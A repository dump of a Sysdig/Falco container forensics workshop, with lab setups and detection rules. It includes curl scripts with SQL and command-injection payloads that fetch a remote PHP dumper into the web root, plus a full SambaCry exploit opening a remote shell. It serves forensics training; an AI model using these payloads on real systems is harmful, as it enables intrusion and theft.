├── README.md ├── example0 ├── commands ├── docker-compose.yml └── nginx.scap ├── example1 ├── docker-compose │ ├── .gitignore │ ├── docker-compose.yml │ ├── falco_rules.local.yaml │ ├── falco_rules.local.yaml.done │ ├── hack.sh │ └── ping.sh ├── kubernetes │ ├── create.sh │ ├── delete.sh │ ├── hack.k8s.sh │ ├── ping.k8s.sh │ ├── setup_k8s.sh │ └── setup_response.sh ├── mysql │ ├── Dockerfile │ ├── my.cnf │ └── test.sql ├── php │ ├── Dockerfile │ ├── php.ini │ └── ping.php └── ping_hack.scap └── example2 ├── README.md ├── docker-compose.yml ├── exploit ├── Dockerfile ├── exploit.py ├── libbindshell-samba.so └── requirements.txt ├── falco_rules.local.yaml ├── falco_rules.local.yaml.done └── falco_rules.yaml /README.md: -------------------------------------------------------------------------------- 1 | # sysdig-forensics-examples 2 | A few example on how to use Sysdig for container forensics 3 | -------------------------------------------------------------------------------- /example0/commands: -------------------------------------------------------------------------------- 1 | sysdig -w nginx.scap 2 | sysdig -r nginx.scap proc.name=nginx 3 | sysdig -r nginx.scap container.name=example0_nginx_1 4 | sysdig -pc -r nginx.scap fd.name contains /etc 5 | sysdig -r nginx.scap "evt.type=open and evt.dir=< and proc.name=nginx" 6 | sysdig -r nginx.scap -p "%evt.time %fd.directory %fd.filename" "evt.type=open and evt.dir=< and proc.name=nginx" 7 | -------------------------------------------------------------------------------- /example0/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | nginx: 5 | image: nginx:latest 6 | ports: 7 | - 8080:80 8 | -------------------------------------------------------------------------------- /example0/nginx.scap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/draios/sysdig-workshop-forensics/32c1f929f419a7881f8efc9a7f3de3a67cfea068/example0/nginx.scap -------------------------------------------------------------------------------- /example1/docker-compose/.gitignore: -------------------------------------------------------------------------------- 1 | db_data 2 | logs 3 | falco_rules.local.yaml 4 | -------------------------------------------------------------------------------- /example1/docker-compose/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | 3 | services: 4 | mysql: 5 | build: ../mysql 6 | restart: always 7 | volumes: 8 | - ./db_data:/var/lib/mysql 9 | environment: 10 | MYSQL_DATABASE: employees 11 | MYSQL_ROOT_PASSWORD: foobar 12 | php: 13 | build: ../php 14 | ports: 15 | - '8000:80' 16 | restart: always 17 | volumes: 18 | - ./logs:/var/log/apache2 19 | depends_on: 20 | - mysql 21 | 22 | falco: 23 | container_name: falco 24 | image: sysdig/falco:latest 25 | restart: always 26 | privileged: true 27 | volumes: 28 | - /var/run/docker.sock:/host/var/run/docker.sock 29 | - /dev:/host/dev 30 | - /proc:/host/proc:ro 31 | - /boot:/host/boot:ro 32 | - /lib/modules:/host/lib/modules:ro 33 | - /usr:/host/usr:ro 34 | # - ${PWD}/falco_rules.yaml:/etc/falco/falco_rules.yaml 35 | - ${PWD}/falco_rules.local.yaml:/etc/falco/falco_rules.local.yaml 36 | tty: true 37 | -------------------------------------------------------------------------------- /example1/docker-compose/falco_rules.local.yaml: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright (C) 2016-2018 Draios Inc dba Sysdig. 3 | # 4 | # This file is part of falco. 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | # 18 | 19 | #################### 20 | # Your custom rules! 21 | #################### 22 | 23 | # Add new rules, like this one 24 | # - rule: The program "sudo" is run in a container 25 | # desc: An event will trigger every time you run sudo in a container 26 | # condition: evt.type = execve and evt.dir=< and container.id != host and proc.name = sudo 27 | # output: "Sudo run in container (user=%user.name %container.info parent=%proc.pname cmdline=%proc.cmdline)" 28 | # priority: ERROR 29 | # tags: [users, container] 30 | 31 | # Or override/append to any rule, macro, or list from the Default Rules 32 | -------------------------------------------------------------------------------- /example1/docker-compose/falco_rules.local.yaml.done: -------------------------------------------------------------------------------- 1 | - macro: ping_allowed_dirs 2 | condition: evt.arg[1] startswith /var/log/apache2 or evt.arg[1] startswith /var/lib/apache2 or evt.arg[1] startswith /dev/tty 3 | 4 | 5 | - rule: Unauthorized process 6 | desc: There is a running process not described in the base template 7 | condition: spawned_process and container and container.image startswith example1_php and not proc.name in (apache2, sh, ping) 8 | output: Unauthorized process (%proc.cmdline) running in (%container.id) 9 | priority: ERROR 10 | tags: [process] 11 | 12 | 13 | - rule: Apache writing to non allowed directory 14 | desc: Attempt to write to directories that should be immutable 15 | condition: open_write and container and container.image startswith example1_php and not (ping_allowed_dirs and proc.name in (apache2)) 16 | output: "Writing to forbidden directory (user=%user.name command=%proc.cmdline file=%fd.name)" 17 | priority: ERROR 18 | tags: [filesystem] 19 | 20 | 21 | - rule: Forbidden network outbound connection 22 | desc: A non-whitelisted process is trying to reach the Internet 23 | condition: outbound and container and container.image startswith example1_php and not proc.name in (ping, apache2) 24 | output: Forbidden outbound connection (user=%user.name command=%proc.cmdline connection=%fd.name) 25 | priority: ERROR 26 | tags: [network] 27 | -------------------------------------------------------------------------------- /example1/docker-compose/hack.sh: -------------------------------------------------------------------------------- 1 | curl -F "s=OK" -F "user=bad" -F "passwd=wrongpasswd' OR 'a'='a" --form-string "ipaddr=localhost; ps aux" -X POST http://localhost:8000/ping.php 2 | curl -F "s=OK" -F "user=bad" -F "passwd=wrongpasswd' OR 'a'='a" --form-string "ipaddr=localhost; ls /var/www/" -X POST http://localhost:8000/ping.php 3 | curl -F "s=OK" -F "user=bad" -F "passwd=wrongpasswd' OR 'a'='a" --form-string "ipaddr=localhost; ls /var/www/html" -X POST http://localhost:8000/ping.php 4 | curl -F "s=OK" -F "user=bad" -F "passwd=wrongpasswd' OR 'a'='a" --form-string "ipaddr=localhost; cat /var/www/html/ping.php" -X POST http://localhost:8000/ping.php 5 | curl -F "s=OK" -F "user=bad" -F "passwd=wrongpasswd' OR 'a'='a" --form-string "ipaddr=localhost; curl https://gist.githubusercontent.com/bencer/9e32fb1af89754b4ad8346b13dcd1110/raw/cd79134f420b59e84e6b60be3bdff7ca0bb42f1e/gistfile1.txt > /var/www/html/dump.php " -X POST http://localhost:8000/ping.php 6 | curl http://localhost:8000/dump.php 7 | -------------------------------------------------------------------------------- /example1/docker-compose/ping.sh: -------------------------------------------------------------------------------- 1 | curl -F "s=OK" -F "user=bob" -F "passwd=foobar" -F "ipaddr=localhost" -X POST http://localhost:8000/ping.php 2 | -------------------------------------------------------------------------------- /example1/kubernetes/create.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cat <<- 'EOF' > "mysql-deployment.yaml" 4 | kind: Deployment 5 | apiVersion: extensions/v1beta1 6 | metadata: 7 | name: mysql 8 | labels: 9 | name: mysql-deployment 10 | app: demo 11 | spec: 12 | replicas: 1 13 | # selector identifies the set of Pods that this 14 | # replication controller is responsible for managing 15 | selector: 16 | matchLabels: 17 | name: mysql 18 | role: mysqldb 19 | app: demo 20 | template: 21 | spec: 22 | containers: 23 | - name: mysql 24 | image: bencer/workshop-forensics-1-mysql 25 | ports: 26 | - containerPort: 3306 27 | name: mysql 28 | env: 29 | - name: MYSQL_ROOT_PASSWORD 30 | value: foobar 31 | - name: MYSQL_DATABASE 32 | value: employees 33 | - name: SYSDIG_AGENT_CONF 34 | value: 'app_checks: [{name: mysql, check_module: mysql, pattern: {comm: mysqld}, conf: { server: 127.0.0.1, user: root, pass: foobar }}]' 35 | metadata: 36 | labels: 37 | # Important: these labels need to match the selector above 38 | # The api server enforces this constraint. 39 | name: mysql 40 | role: mysqldb 41 | app: demo 42 | EOF 43 | 44 | cat <<- 'EOF' > "mysql-service.yaml" 45 | apiVersion: v1 46 | kind: Service 47 | metadata: 48 | labels: 49 | name: mysql 50 | name: mysql 51 | spec: 52 | clusterIP: "None" 53 | ports: 54 | - port: 3306 55 | targetPort: 3306 56 | selector: 57 | name: mysql 58 | app: demo 59 | role: mysqldb 60 | EOF 61 | 62 | cat <<- EOF > "ping-deployment.yaml" 63 | kind: Deployment 64 | apiVersion: extensions/v1beta1 65 | metadata: 66 | name: ping 67 | labels: 68 | name: ping-deployment 69 | app: demo 70 | spec: 71 | replicas: 1 72 | # selector identifies the set of Pods that this 73 | # replication controller is responsible for managing 74 | selector: 75 | matchLabels: 76 | name: ping 77 | role: frontend 78 | app: demo 79 | template: 80 | spec: 81 | containers: 82 | - name: phpping 83 | image: bencer/workshop-forensics-1-phpping 84 | env: 85 | - name: DB_HOST 86 | value: mysql.ping.svc.cluster.local 87 | ports: 88 | - containerPort: 80 89 | name: phpping 90 | metadata: 91 | labels: 92 | # Important: these labels need to match the selector above 93 | # The api server enforces this constraint. 94 | name: ping 95 | role: frontend 96 | app: demo 97 | EOF 98 | 99 | cat <<- EOF > "ping-service.yaml" 100 | apiVersion: v1 101 | kind: Service 102 | metadata: 103 | labels: 104 | name: ping 105 | name: ping 106 | spec: 107 | ports: 108 | - port: 80 109 | targetPort: 80 110 | selector: 111 | name: ping 112 | app: demo 113 | role: frontend 114 | EOF 115 | 116 | cat <<- EOF > "client-deployment.yaml" 117 | apiVersion: v1 118 | kind: Pod 119 | metadata: 120 | name: client 121 | spec: 122 | containers: 123 | - args: 124 | - sh 125 | - -c 126 | - while true; do curl www.google.com; sleep 30; done 127 | image: tutum/curl 128 | name: client 129 | EOF 130 | 131 | kubectl create namespace ping 132 | kubectl create -f mysql-deployment.yaml --namespace=ping 133 | kubectl create -f mysql-service.yaml --namespace=ping 134 | kubectl create -f ping-deployment.yaml --namespace=ping 135 | kubectl create -f ping-service.yaml --namespace=ping 136 | kubectl create -f client-deployment.yaml --namespace=ping 137 | rm mysql-deployment.yaml mysql-service.yaml ping-deployment.yaml ping-service.yaml 138 | -------------------------------------------------------------------------------- /example1/kubernetes/delete.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | kubectl delete namespace ping 4 | -------------------------------------------------------------------------------- /example1/kubernetes/hack.k8s.sh: -------------------------------------------------------------------------------- 1 | curl -F "s=OK" -F "user=bad" -F "passwd=wrongpasswd' OR 'a'='a" -F "ipaddr=localhost; ps aux" -X POST http://ping/ping.php 2 | curl -F "s=OK" -F "user=bad" -F "passwd=wrongpasswd' OR 'a'='a" -F "ipaddr=localhost; ls /var/www/" -X POST http://ping/ping.php 3 | curl -F "s=OK" -F "user=bad" -F "passwd=wrongpasswd' OR 'a'='a" -F "ipaddr=localhost; ls /var/www/html" -X POST http://ping/ping.php 4 | curl -F "s=OK" -F "user=bad" -F "passwd=wrongpasswd' OR 'a'='a" -F "ipaddr=localhost; cat /var/www/html/ping.php" -X POST http://ping/ping.php 5 | curl -F "s=OK" -F "user=bad" -F "passwd=wrongpasswd' OR 'a'='a" -F "ipaddr=localhost; curl https://gist.githubusercontent.com/bencer/9e32fb1af89754b4ad8346b13dcd1110/raw/cd79134f420b59e84e6b60be3bdff7ca0bb42f1e/gistfile1.txt > /var/www/html/dump.php " -X POST http://ping/ping.php 6 | curl -F "s=OK" -F "user=bad" -F "passwd=wrongpasswd' OR 'a'='a" -F "ipaddr=localhost; sed -i -e 's/db/mysql/' /var/www/html/dump.php" -X POST http://ping/ping.php 7 | curl http://ping/dump.php 8 | -------------------------------------------------------------------------------- /example1/kubernetes/ping.k8s.sh: -------------------------------------------------------------------------------- 1 | curl -F "s=OK" -F "user=bob" -F "passwd=foobar" -F "ipaddr=localhost" -X POST http://ping/ping.php 2 | -------------------------------------------------------------------------------- /example1/kubernetes/setup_k8s.sh: -------------------------------------------------------------------------------- 1 | apt-get update && apt-get install -y apt-transport-https curl 2 | curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add - 3 | cat </etc/apt/sources.list.d/kubernetes.list 4 | deb https://apt.kubernetes.io/ kubernetes-xenial main 5 | EOF 6 | apt-get update 7 | apt-get install -y kubelet kubeadm kubectl 8 | apt-mark hold kubelet kubeadm kubectl 9 | kubeadm init 10 | -------------------------------------------------------------------------------- /example1/kubernetes/setup_response.sh: -------------------------------------------------------------------------------- 1 | # configure k8s 2 | mkdir -p $HOME/.kube 3 | sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config 4 | sudo chown $(id -u):$(id -g) $HOME/.kube/config 5 | export KUBECONFIG=$HOME/.kube/config 6 | kubectl taint nodes --all node-role.kubernetes.io/master- 7 | kubectl apply -f "https://cloud.weave.works/k8s/net?k8s-version=$(kubectl version | base64 | tr -d '\n')" 8 | 9 | # configure helm 10 | curl https://raw.githubusercontent.com/helm/helm/master/scripts/get > get_helm.sh 11 | chmod 700 get_helm.sh 12 | ./get_helm.sh 13 | kubectl create -f https://raw.githubusercontent.com/nestorsalceda/work-environment/master/helm-rbac/rbac-config.yaml 14 | helm init --service-account tiller 15 | 16 | # configure kubeless 17 | sudo apt install python-pip zip 18 | wget https://github.com/kubeless/kubeless/releases/download/v1.0.0-alpha.6/kubeless_linux-amd64.zip 19 | unzip kubeless_linux-amd64.zip 20 | sudo mv bundles/kubeless_linux-amd64/kubeless /usr/local/bin/ 21 | export LC_ALL=C 22 | pip install --user pipenv 23 | -------------------------------------------------------------------------------- /example1/mysql/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM mysql:5.6 2 | 3 | COPY ./my.cnf /etc/mysql/conf.d/ 4 | 5 | ADD ./test.sql /docker-entrypoint-initdb.d 6 | -------------------------------------------------------------------------------- /example1/mysql/my.cnf: -------------------------------------------------------------------------------- 1 | [mysqld] 2 | character-set-server=utf8 3 | -------------------------------------------------------------------------------- /example1/mysql/test.sql: -------------------------------------------------------------------------------- 1 | USE employees; 2 | 3 | DROP TABLE IF EXISTS users; 4 | 5 | CREATE TABLE users ( 6 | id int(11) NOT NULL AUTO_INCREMENT, 7 | user_name varchar(100) NOT NULL, 8 | password varchar(100) NOT NULL, 9 | supersecret varchar(100) NOT NULL, 10 | PRIMARY KEY (id) 11 | ); 12 | 13 | INSERT INTO users 14 | (user_name, password, supersecret) 15 | VALUES 16 | ("bob","foobar", "this is supersecret information"), 17 | ("alice","foobar", "this is supersecret information"), 18 | ("john","foobar", "this is supersecret information"); 19 | -------------------------------------------------------------------------------- /example1/php/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:5.6-apache 2 | 3 | COPY php.ini /usr/local/etc/php/ 4 | 5 | COPY ping.php /var/www/html/ 6 | 7 | RUN apt-get update \ 8 | && apt-get install -y libfreetype6-dev libjpeg62-turbo-dev libpng-dev libmcrypt-dev iputils-ping \ 9 | && docker-php-ext-install pdo_mysql mysqli gd iconv 10 | -------------------------------------------------------------------------------- /example1/php/php.ini: -------------------------------------------------------------------------------- 1 | [Date] 2 | date.timezone = "Asia/Tokyo" 3 | [mbstring] 4 | mbstring.internal_encoding = "UTF-8" 5 | mbstring.language = "Japanese" 6 | -------------------------------------------------------------------------------- /example1/php/ping.php: -------------------------------------------------------------------------------- 1 | 4 | 5 |
6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 |
User
Password
Ping IP address
20 | 21 |
22 | 23 | $cmd"; 35 | } 36 | } 37 | ?> 38 | -------------------------------------------------------------------------------- /example1/ping_hack.scap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/draios/sysdig-workshop-forensics/32c1f929f419a7881f8efc9a7f3de3a67cfea068/example1/ping_hack.scap -------------------------------------------------------------------------------- /example2/README.md: -------------------------------------------------------------------------------- 1 | docker network create smbnet 2 | 3 | docker run --rm -ti --name samba --network smbnet -p 137-139:137-139 -p 445:445 -p 6699:6699 vulnerables/cve-2017-7494 4 | 5 | docker run --rm -ti --name exploit --network smbnet bencer/sambacry 6 | 7 | ./exploit.py -t samba -e libbindshell-samba.so -s data -r /data/libbindshell-samba.so -u sambacry -p nosambanocry -P 6699 8 | 9 | docker run --rm -ti --name falco --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v ${PWD}/falco_rules.local.yaml:/etc/falco/falco_rules.local.yaml:ro sysdig/falco 10 | -------------------------------------------------------------------------------- /example2/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | 3 | services: 4 | samba: 5 | container_name: samba 6 | ports: 7 | - '137-139:137-139' 8 | - '6699:6699' 9 | - '445:445' 10 | image: vulnerables/cve-2017-7494 11 | restart: always 12 | tty: true 13 | falco: 14 | container_name: falco 15 | image: sysdig/falco:latest 16 | restart: always 17 | privileged: true 18 | volumes: 19 | - /var/run/docker.sock:/host/var/run/docker.sock 20 | - /dev:/host/dev 21 | - /proc:/host/proc:ro 22 | - /boot:/host/boot:ro 23 | - /lib/modules:/host/lib/modules:ro 24 | - /usr:/host/usr:ro 25 | - ${PWD}/falco_rules.yaml:/etc/falco/falco_rules.yaml 26 | - ${PWD}/falco_rules.local.yaml:/etc/falco/falco_rules.local.yaml 27 | tty: true 28 | -------------------------------------------------------------------------------- /example2/exploit/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:jessie 2 | 3 | MAINTAINER Jorge Salamero Sanz "bencer@cauterized.net" 4 | 5 | RUN apt-get update && \ 6 | apt-get upgrade -y && \ 7 | DEBIAN_FRONTEND=noninteractive apt-get install -y \ 8 | git python-dev python-pip 9 | 10 | COPY requirements.txt / 11 | COPY exploit.py / 12 | COPY libbindshell-samba.so / 13 | 14 | RUN pip install -r /requirements.txt 15 | 16 | ENTRYPOINT /bin/bash 17 | -------------------------------------------------------------------------------- /example2/exploit/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Sambacry (CVE-2017-7494) exploit by opsxcq 6 | github.com/opsxcq 7 | twitter.com/opsxcq 8 | 9 | Tested on samba 5.4.9 10 | If you don't have a samba server, use the vulnerables/cve-2017-7494 docker image to test it 11 | """ 12 | 13 | from sys import argv, exit 14 | from argparse import ArgumentParser 15 | import os 16 | 17 | from impacket.dcerpc.v5 import samr, transport, srvs 18 | from impacket.dcerpc.v5.dtypes import NULL 19 | from impacket.smbconnection import * 20 | 21 | import sys 22 | import time 23 | import socket 24 | from threading import Thread 25 | 26 | def dceTrigger(dce): 27 | try: 28 | dce.connect() 29 | except SessionError as error: 30 | print("[+] Expected exception from Samba (SMB SessionError)") 31 | 32 | def receiveAndPrint(sock): 33 | try: 34 | while True: 35 | data = sock.recv(8) 36 | if not data: 37 | break 38 | sys.stdout.write(str(data)) 39 | except Exception, e: 40 | print("[-] Exception "+str(e)) 41 | 42 | def exploit(target, port, executable, remoteshare, remotepath, user=None, password=None, remoteShellPort=None): 43 | """Samba exploit""" 44 | 45 | # Open the connection 46 | smbClient = SMBConnection(target, target, sess_port=port) 47 | if user: 48 | if not smbClient.login(user,password): 49 | raise Exception("Authentication error, invalid user or password") 50 | else: 51 | print("[+] Authentication ok, we are in !") 52 | 53 | # Upload the payload module 54 | print("[+] Preparing the exploit") 55 | executableName = os.path.basename(executable) 56 | executableFile = open(executable, 'rb') 57 | 58 | smbClient.putFile(remoteshare, executableName, executableFile.read) 59 | 60 | executableFile.close() 61 | 62 | # Trigger the bug in another thread, since it will be locked 63 | triggerModule = r'ncacn_np:%s[\pipe\%s]' % (target, remotepath) 64 | rpcTransport = transport.DCERPCTransportFactory(triggerModule) 65 | dce = rpcTransport.get_dce_rpc() 66 | triggerThread = Thread(target=dceTrigger, args=(dce,)) 67 | triggerThread.daemon = True 68 | triggerThread.start() 69 | 70 | # Give some time to the exploit to run 71 | time.sleep(2) 72 | 73 | # Profit 74 | if not remoteShellPort: 75 | print("[+] Target exploited, check it") 76 | return 77 | 78 | remoteShellPort = int(remoteShellPort) 79 | 80 | print("[+] Exploit trigger running in background, checking our shell") 81 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 82 | try: 83 | print("[+] Connecting to %s at %s" % (target, str(remoteShellPort))) 84 | sock.connect((target, remoteShellPort)) 85 | print("[+] Veryfying your shell...") 86 | command="uname -a" 87 | 88 | # Receive and print data in another thread 89 | receiveThread = Thread(target=receiveAndPrint, args=(sock,)) 90 | receiveThread.daemon = True 91 | receiveThread.start() 92 | 93 | while True : 94 | sock.send(command) 95 | sock.send("\n") 96 | command = raw_input(">>") 97 | socket.close() 98 | except Exception, e: 99 | print("[-] IO error error connecting to the shell port "+str(e)) 100 | 101 | 102 | # Cleanup 103 | 104 | if __name__ == "__main__": 105 | ap = ArgumentParser(description="Sambacry (CVE-2017-7494) exploit by opsxcq") 106 | ap.add_argument("-t", "--target", required=True, help="Target's hostname") 107 | ap.add_argument("-e", "--executable", required=True, help="Executable/Payload file to use") 108 | ap.add_argument("-s", "--remoteshare", required=True, help="Executable/Payload shared folder to use") 109 | ap.add_argument("-r", "--remotepath", required=True, help="Executable/Payload path on remote file system") 110 | ap.add_argument("-u", "--user", required=False, help="Samba username (optional") 111 | ap.add_argument("-p", "--password", required=False, help="Samba password (optional)") 112 | 113 | # Remote shell 114 | ap.add_argument("-P", "--remoteshellport", required=False, help="Connect to a shell running in the remote host after exploitation") 115 | 116 | args = vars(ap.parse_args()) 117 | 118 | # TODO : Add domain name as an argument 119 | port = 445 # TODO : Add as an argument 120 | 121 | try: 122 | print("[*] Starting the exploit") 123 | exploit(args["target"], port, args["executable"], args["remoteshare"],args["remotepath"], args["user"], args["password"], args["remoteshellport"]) 124 | except IOError: 125 | exit("[!] Error") 126 | except KeyboardInterrupt: 127 | print("\n[*] Aborting the attack") 128 | -------------------------------------------------------------------------------- /example2/exploit/libbindshell-samba.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/draios/sysdig-workshop-forensics/32c1f929f419a7881f8efc9a7f3de3a67cfea068/example2/exploit/libbindshell-samba.so -------------------------------------------------------------------------------- /example2/exploit/requirements.txt: -------------------------------------------------------------------------------- 1 | pycrypto==2.6 2 | git+git://github.com/opsxcq/impacket.git 3 | pyasn1 4 | -------------------------------------------------------------------------------- /example2/falco_rules.local.yaml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/draios/sysdig-workshop-forensics/32c1f929f419a7881f8efc9a7f3de3a67cfea068/example2/falco_rules.local.yaml -------------------------------------------------------------------------------- /example2/falco_rules.local.yaml.done: -------------------------------------------------------------------------------- 1 | - macro: samba_nobody_allowed_dirs 2 | condition: evt.arg[1] startswith /data or evt.arg[1] startswith /dev/tty 3 | 4 | 5 | - rule: Unauthorized process 6 | desc: There is a running process not described in the base template 7 | condition: spawned_process and container and container.image startswith vulnerables/cve-2017-7494 and not proc.name in (smbd) 8 | output: Unauthorized process (%proc.cmdline) running in (%container.id) 9 | priority: ERROR 10 | tags: [process] 11 | 12 | 13 | - rule: Samba nobody process looking into non allowed directory 14 | desc: Attempt to read/write to directories that shouldnt 15 | condition: (open_write or open_read) and container and container.image startswith vulnerables/cve-2017-7494 and not (samba_nobody_allowed_dirs and proc.name in (smbd)) 16 | output: "Writing to forbidden directory (user=%user.name command=%proc.cmdline file=%fd.name)" 17 | priority: ERROR 18 | tags: [filesystem] 19 | 20 | 21 | - rule: Samba forbidden network outbound connection 22 | desc: A Samba process is trying to reach the Internet 23 | condition: outbound and container and container.image startswith vulnerables/cve-2017-7494 and proc.name in (smbd) 24 | output: Forbidden outbound connection (user=%user.name command=%proc.cmdline connection=%fd.name) 25 | priority: ERROR 26 | tags: [network] 27 | -------------------------------------------------------------------------------- /example2/falco_rules.yaml: -------------------------------------------------------------------------------- 1 | ############# 2 | # Definitions 3 | ############# 4 | 5 | # File actions 6 | 7 | 8 | # Currently disabled as read/write are ignored syscalls. The nearly 9 | # similar open_write/open_read check for files being opened for 10 | # reading/writing. 11 | # - macro: write 12 | # condition: (syscall.type=write and fd.type in (file, directory)) 13 | # - macro: read 14 | # condition: (syscall.type=read and evt.dir=> and fd.type in (file, directory)) 15 | 16 | - macro: open_write 17 | condition: (evt.type=open or evt.type=openat) and evt.is_open_write=true and fd.typechar='f' and fd.num>=0 18 | 19 | - macro: open_read 20 | condition: (evt.type=open or evt.type=openat) and evt.is_open_read=true and fd.typechar='f' and fd.num>=0 21 | 22 | - macro: rename 23 | condition: evt.type = rename 24 | - macro: mkdir 25 | condition: evt.type = mkdir 26 | - macro: remove 27 | condition: evt.type in (rmdir, unlink, unlinkat) 28 | 29 | - macro: modify 30 | condition: rename or remove 31 | 32 | - macro: spawned_process 33 | condition: evt.type = execve and evt.dir=< 34 | 35 | # File categories 36 | - macro: terminal_file_fd 37 | condition: fd.name=/dev/ptmx or fd.name startswith /dev/pts 38 | 39 | - macro: bin_dir 40 | condition: fd.directory in (/bin, /sbin, /usr/bin, /usr/sbin) 41 | 42 | - macro: bin_dir_mkdir 43 | condition: > 44 | (evt.arg[1] startswith /bin/ or 45 | evt.arg[1] startswith /sbin/ or 46 | evt.arg[1] startswith /usr/bin/ or 47 | evt.arg[1] startswith /usr/sbin/) 48 | 49 | - macro: bin_dir_rename 50 | condition: > 51 | evt.arg[1] startswith /bin/ or 52 | evt.arg[1] startswith /sbin/ or 53 | evt.arg[1] startswith /usr/bin/ or 54 | evt.arg[1] startswith /usr/sbin/ 55 | 56 | - macro: etc_dir 57 | condition: fd.name startswith /etc/ 58 | 59 | # This detects writes immediately below / or any write anywhere below /root 60 | - macro: root_dir 61 | condition: (fd.directory=/ or fd.name startswith /root) 62 | 63 | - macro: ubuntu_so_dirs 64 | condition: > 65 | fd.name startswith /lib/x86_64-linux-gnu or 66 | fd.name startswith /usr/lib/x86_64-linux-gnu or 67 | fd.name startswith /usr/lib/sudo 68 | 69 | - macro: centos_so_dirs 70 | condition: > 71 | fd.name startswith /lib64 or 72 | fd.name startswith /usr/lib64 or 73 | fd.name startswith /usr/libexec 74 | 75 | - macro: linux_so_dirs 76 | condition: ubuntu_so_dirs or centos_so_dirs or fd.name=/etc/ld.so.cache 77 | 78 | ### XXX FIXME this, find a more elegant way to let PHP on apache2 do shell_exec (or find an alternative PHP call) 79 | - list: shell_binaries 80 | items: [bash, csh, ksh, sh, tcsh, zsh, dash, apache2] 81 | 82 | - list: shell_mgmt_binaries 83 | items: [add-shell, remove-shell] 84 | 85 | - macro: shell_procs 86 | condition: (proc.name in (shell_binaries)) 87 | 88 | - list: coreutils_binaries 89 | items: [ 90 | truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who, 91 | groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat, 92 | basename, split, nice, "yes", whoami, sha224sum, hostid, users, stdbuf, 93 | base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test, 94 | comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname, 95 | tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout, 96 | tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred, 97 | tac, link, chroot, vdir, chown, touch, ls, dd, uname, "true", pwd, date, 98 | chgrp, chmod, mktemp, cat, mknod, sync, ln, "false", rm, mv, cp, echo, 99 | readlink, sleep, stty, mkdir, df, dir, rmdir, touch 100 | ] 101 | 102 | # dpkg -L login | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" "," 103 | - list: login_binaries 104 | items: [ 105 | login, systemd, '"(systemd)"', systemd-logind, su, 106 | nologin, faillog, lastlog, newgrp, sg 107 | ] 108 | 109 | # dpkg -L passwd | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" "," 110 | - list: passwd_binaries 111 | items: [ 112 | shadowconfig, grpck, pwunconv, grpconv, pwck, 113 | groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod, 114 | groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh, 115 | gpasswd, chfn, expiry, passwd, vigr, cpgr 116 | ] 117 | 118 | # repoquery -l shadow-utils | grep bin | xargs ls -ld | grep -v '^d' | 119 | # awk '{print $9}' | xargs -L 1 basename | tr "\\n" "," 120 | - list: shadowutils_binaries 121 | items: [ 122 | chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd, 123 | groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck, grpconv, grpunconv, 124 | newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd 125 | ] 126 | 127 | - list: sysdigcloud_binaries 128 | items: [setup-backend, dragent, sdchecks] 129 | 130 | - list: docker_binaries 131 | items: [docker, dockerd, exe, docker-compose, docker-entrypoi, docker-runc-cur, docker-current] 132 | 133 | - list: k8s_binaries 134 | items: [hyperkube, skydns, kube2sky, exechealthz] 135 | 136 | - list: lxd_binaries 137 | items: [lxd, lxcfs] 138 | 139 | # Utility/etc programs known to run on mesos slaves. Truncation 140 | # intentional. 141 | - list: mesos_slave_binaries 142 | items: [mesos-health-ch, mesos-docker-ex, mesos-agent, mesos-slave, 143 | mesos-logrotate, mesos-fetcher, mesos-executor, 3dt, 144 | mesos-journald-, '"1_scheduler"', '"2_scheduler"', 145 | '"3_scheduler"', '"4_scheduler"'] 146 | 147 | - list: phusion_passenger_binaries 148 | items: [PassengerAgent, PassengerWatchd] 149 | 150 | # A bit longer to avoid the fairly generic my_init. 151 | - macro: parent_phusion_passenger_my_init 152 | condition: > 153 | (proc.pcmdline="my_init -u /sbin/my_init " or 154 | proc.pcmdline="my_init -u /sbin/my_init") 155 | 156 | - list: 